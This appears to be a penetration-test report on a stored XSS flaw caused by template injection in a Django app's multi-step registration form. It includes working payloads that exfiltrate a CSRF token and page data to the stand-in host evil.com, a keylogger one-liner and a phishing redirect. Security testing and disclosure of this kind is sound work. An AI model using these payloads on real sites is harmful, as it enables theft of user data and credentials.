# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: Server-Side Template Injection Enabling Cross-Site Scripting

**Summary:**
- **Vulnerable location:** `http://localhost:35837/accounts/register/step1/` → name parameter → session storage → `http://localhost:35837/accounts/register/step3/` (template injection)
- **Overview:** A Server-Side Template Injection vulnerability in the multi-step registration flow allows attackers to inject arbitrary JavaScript that executes when the victim reaches Step 3. The vulnerability exists because user input from the `name` field is unsafely injected into a template via string replacement before compilation, bypassing Django's auto-escaping protection.
- **Impact:** An attacker can execute arbitrary JavaScript in victim browsers to steal CSRF tokens, perform unauthorized authenticated actions, exfiltrate sensitive data, inject keyloggers, or redirect users to phishing pages. This was demonstrated by successfully exfiltrating a CSRF token to an attacker-controlled server.
- **Severity:** Critical

**Prerequisites:**
None - this vulnerability is exploitable by unauthenticated attackers accessing the public registration flow.

**Exploitation Steps:**

1. Navigate to the registration form:
```
Open browser and visit: http://localhost:35837/accounts/register/step1/
```

2. Enter the malicious payload in the Name field and any valid password (minimum 10 characters):
```
Name: X</script><script>new Image().src='//evil.com?'+document.forms[0][0].value</script><script>//
Password: Password123456
```

3. Click the "Next" button to proceed to Step 2.

4. Enter any valid email address in Step 2:
```
Email: victim@example.com
```

5. Click the "Next" button to proceed to Step 3.

6. Upon loading Step 3 (`http://localhost:35837/accounts/register/step3/`), the malicious JavaScript executes automatically.

7. The injected script extracts the CSRF token from the form and exfiltrates it via an image request to the attacker's server.

**Proof of Impact:**

**JavaScript Execution Confirmed:**
- Alert dialog successfully displayed with message "XSS-VULN-01-Confirmed" using payload: `XSSTest</script><script>alert('XSS-VULN-01-Confirmed')</script><script>//`
- This confirms Level 3 exploitation (arbitrary JavaScript execution)

**Critical Impact - CSRF Token Exfiltration:**
- Network request captured: `[GET] http://evil.com/?9YxfCtee18dkXH6LhFvpqLOn0N3nBitkGXekf5o5qkogQA4s1Q7rPwTztqSp0MCW`
- The CSRF token `9YxfCtee18dkXH6LhFvpqLOn0N3nBitkGXekf5o5qkogQA4s1Q7rPwTztqSp0MCW` was successfully extracted from the registration form and exfiltrated to the attacker-controlled domain `evil.com`
- This confirms Level 4 exploitation (critical impact demonstrated)

**Attack Payload Analysis:**
```javascript
X</script><script>new Image().src='//evil.com?'+document.forms[0][0].value</script><script>//
```

**How the payload works:**
1. `X</script>` - Closes the original `<script>` tag containing the alert message
2. `<script>new Image().src='//evil.com?'+document.forms[0][0].value</script>` - Creates a new script tag that:
   - Instantiates a new Image object
   - Sets its `src` attribute to the attacker's domain with the CSRF token as a query parameter
   - `document.forms[0][0].value` retrieves the value of the first input field (csrfmiddlewaretoken) in the first form on the page
   - Browser automatically makes a GET request to evil.com, leaking the token
3. `<script>//` - Opens a new script tag with a comment to neutralize any trailing code from the original template

**Additional Impact Scenarios:**

While the CSRF token exfiltration demonstrates critical impact, this XSS vulnerability enables numerous other attacks:

**Session Hijacking via Authenticated Requests:**
- Although the session cookie has the HttpOnly flag (preventing direct access via `document.cookie`), XSS can still perform authenticated actions by making same-origin requests
- An attacker could fetch `/accounts/preferences/` to steal the user's email and premium status
- Example payload (exceeds 100 char limit but demonstrates capability): 
  ```javascript
  fetch('/accounts/preferences/').then(r=>r.text()).then(d=>fetch('//evil.com',{method:'POST',body:d}))
  ```

**Credential Harvesting:**
- Inject a fake login form that sends credentials to the attacker
- Modify the registration form to capture the plaintext password before submission

**Keylogging:**
- Install a keylogger to capture all user input on the page
- Example: `document.onkeypress=e=>new Image().src='//evil.com?key='+e.key`

**Phishing/Redirection:**
- Redirect users to attacker-controlled phishing sites: `window.location='http://evil.com/fake-login'`

**Notes:**

**Vulnerability Root Cause:**
The vulnerability exists in `/accounts/register/step3/` view at lines 53-55:
```python
engine = engines["django"]
template_str = open('accounts/templates/accounts/register_step3.html','r').read()
template = engine.from_string(template_str.replace('ACCOUNTNAME', request.session['name']))
```

The code performs unsafe string replacement (`template_str.replace('ACCOUNTNAME', request.session['name'])`) to inject the user-controlled `name` value into the template source code before compilation. This bypasses Django's auto-escaping because the malicious content becomes part of the template syntax itself rather than template data.

**Validation Bypass:**
The `validate_name()` function in `forms.py:6-8` only blocks the `%` character, which is insufficient for preventing XSS in a JavaScript context. It does not block quotes, angle brackets, or other JavaScript metacharacters required for XSS prevention.

**Character Limit Constraint:**
The name field has a 100-character maximum length, which limits payload complexity but is sufficient for impactful attacks as demonstrated. More sophisticated payloads can use URL shorteners, encoded scripts, or external script loading to work within this constraint.

**No Defense Mechanisms:**
- No Content Security Policy (CSP) headers present
- No XSS protection headers
- No input sanitization beyond the inadequate "%" character block
- Django auto-escaping bypassed by template injection technique

**Reproduction Rate:**
100% - This vulnerability is consistently exploitable and requires no special conditions or race conditions.
